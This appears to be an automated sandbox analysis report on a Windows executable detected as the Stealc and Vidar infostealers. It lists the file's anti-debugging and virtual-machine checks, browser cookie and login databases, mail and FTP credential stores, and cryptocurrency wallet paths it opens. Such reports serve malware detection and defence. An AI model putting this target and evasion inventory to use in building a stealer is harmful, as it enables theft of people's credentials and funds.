Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EGDGCGCF.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: EGDGCGCF.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: EGDGCGCF.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: EGDGCGCF.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: EGDGCGCF.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: EGDGCGCF.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: EGDGCGCF.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1670723245.0000000001152000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EGDGCGCF.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: EGDGCGCF.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: EGDGCGCF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: EGDGCGCF.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: EGDGCGCF.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: EGDGCGCF.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: EGDGCGCF.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: EGDGCGCF.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: EGDGCGCF.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1670723245.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EGDGCGCF.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: EGDGCGCF.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: EGDGCGCF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: EGDGCGCF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>
Source: file.exe, 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: EGDGCGCF.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: EGDGCGCF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: EGDGCGCF.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: EGDGCGCF.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57858
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57861
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59047
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57872
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57879
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57912

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC25FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CC25FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\file.exe

0_2_00419270

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419160 mov eax, dword ptr fs:[00000030h]

0_2_00419160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CBFB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CBFB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: file.exe, file.exe, 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: r%'WProgram Manager
Source: file.exe, 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: or%'WProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBFB341 cpuid

0_2_6CBFB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004163C0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_004163C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004172F0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_004172F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004174D0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_004174D0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1670723245.000000000110E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonI
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.mq`

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1670723245.000000000110E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	41%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
